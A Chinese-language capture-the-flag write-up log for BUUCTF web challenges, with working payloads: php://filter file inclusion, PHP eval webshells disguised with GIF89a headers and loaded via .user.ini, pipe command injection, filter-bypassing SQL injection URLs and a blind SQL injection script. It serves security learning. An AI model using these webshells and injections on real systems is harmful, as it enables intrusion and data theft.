Week 3 <2020.07.27 - 2020.08.02>

[ACTF2020 新生赛]Include

题目和网页都给出了提示,考察文件包含

同 Secret File 的解法,使用”php://filter”伪协议进行包含

payload:/?file=php://filter/read=convert.base64-encode/resource=flag.php

获得base64码,解密得到flag

flag{f876c961-c87b-4060-a5b5-299aae870ace}

[极客大挑战 2019]Knife

用AntSword连接,密码网页给出了是”Syc”

image-20200729003126637

连接,在根目录找到flag文件

flag{41d79b55-d82a-4490-9bb4-31f8308a676a}

[极客大挑战 2019]Http

[SUCTF 2019]CheckIn

—— 转自https://www.cnblogs.com/20175211lyz/p/11455355.html ——

.user.ini 文件
自 PHP 5.3.0 起,PHP 支持基于每个目录的 .htaccess 风格的 INI 文件。此类文件被 CGI/FastCGI SAPI 处理。此功能使得 PECL 的 htscanner 扩展作废。如果使用 Apache,则用 .htaccess 文件有同样效果。
除了主 php.ini 之外,PHP 还会在每个目录下扫描 INI 文件,从被执行的 PHP 文件所在目录开始一直上升到 web 根目录([$_SERVER[‘DOCUMENT_ROOT’]]所指定的)。如果被执行的 PHP 文件在 web 根目录之外,则只扫描该目录。
在 .user.ini 风格的 INI 文件中只有具有 PHP_INI_PERDIRPHP_INI_USER 模式的 INI 设置可被识别。
两个新的 INI 指令,user_ini.filenameuser_ini.cache_ttl 控制着用户 INI 文件的使用。
user_ini.filename 设定了 PHP 会在每个目录下搜寻的文件名;如果设定为空字符串则 PHP 不会搜寻。默认值是 .user.ini
user_ini.cache_ttl 控制着重新读取用户 INI 文件的间隔时间。默认是 300 秒(5 分钟)。

绕过exif_imagetype()方法
采用xbm格式X Bit Map,绕过exif_imagetype()方法的检测,上传文件来解析。
在计算机图形学中,X Window系统使用X BitMap,一种纯文本二进制图像格式,用于存储X GUI中使用的光标和图标位图。
XBM数据由一系列包含单色像素数据的静态无符号字符数组组成,当格式被普遍使用时,XBM通常出现在标题.h文件中,每个图像在标题中存储一个数组。
也就是用c代码来标识一个xbm文件,前两个#defines指定位图的高度和宽度【以像素为单位,比如以下xbm文件:

1
2
#define test_width 16
#define test_height 7

知识点:
1.利用.user.ini上传/隐藏后门
2.绕过exif_imagetype()

———————————————————————————————

通过上传.user.ini文件来给同目录下的index.php文件添加上一些额外的内容

GIF89a:图片格式gif必要文件头信息

依次上传:
a.jpg

1
2
GIF89a
<script language='php'> @eval($_POST['pass']);</script>

.user.ini
1
2
GIF89a                  
auto_prepend_file=a.jpg

蚁剑连接
http://4d647826-57bc-45db-9d04-4220e9fc4cdd.node3.buuoj.cn/uploads/adeee0c170ad4ffb110df0cde294aecd/index.php
读取flag

[ACTF2020 新生赛]Exec

没有过滤,管道符直接取flag

payload: 127.0.0.1 | cat /flag

flag{de9ab224-511d-4a33-9e1d-5c871c9518b1}

[极客大挑战 2019]BabySQL

知识点:双写绕过

数据库 payload:

1
/check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(schema_name)%20frfromom%20infoorrmation_schema.schemata%20%23

数据表 payload:

1
/check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(table_name)%20frfromom%20infoorrmation_schema.tables%20whwhereere%20table_schema%3Ddatabase()%23

目标在 ‘b4bsql’

列 payload:

1
/check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(column_name)%20frfromom%20infoorrmation_schema.columns%20whwhereere%20table_schema%3Ddatabase()%20anandd%20table_name%3D%27b4bsql%27%23

列名’id,username,password’

字段 payload:

1
/check.php?username=admin&password=admin1%27uniunionon%20selselectect%201%2C2%2Cgroup_concat(passwoorrd)%20frfromom%20b4bsql%23

flag{04a7a268-baf9-48a5-b7cb-2b8aeebae765}

[CISCN2019 华北赛区 Day2 Web1]Hack World

脚本解法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36

import requests

url = "http://d97b67d8-5392-40dd-9416-1943726ff03f.node3.buuoj.cn/index.php";

result = ""
num=0 #用了来判断是不是flag已经拼完整了
for i in range(1,60):

if num == 1:
break

for j in range(32,128):

payload = "if(ascii(substr((select(flag)from(flag)),%d,1))=%d,1,2)"%(i,j);
#print(str((i-1)*96+j-32)+":~"+payload+"~")

data = {
"id":payload,
}

r = requests.post(url,data=data)

r.encoding = r.apparent_encoding

if "Hello" in r.text:
x = chr(j)
result+=str(x)
print(result)
break

if "}" in result:
print(result)
num=1
break

[极客大挑战 2019]Upload

可以上传phtml文件,那么做一个phtml文件,将内容编为一句话木马上传:

1
2
<?php 
@eval($_POST[cmd]);?>

php被过滤,使用JS脚本绕过:
1
2
GIF89a
<script language="php">eval($_POST['cmd']);</script>

猜测文件上传目录是upload,蚁剑连接:
1
/upload/a.phtml?a=system(%27cat%20/flag%27);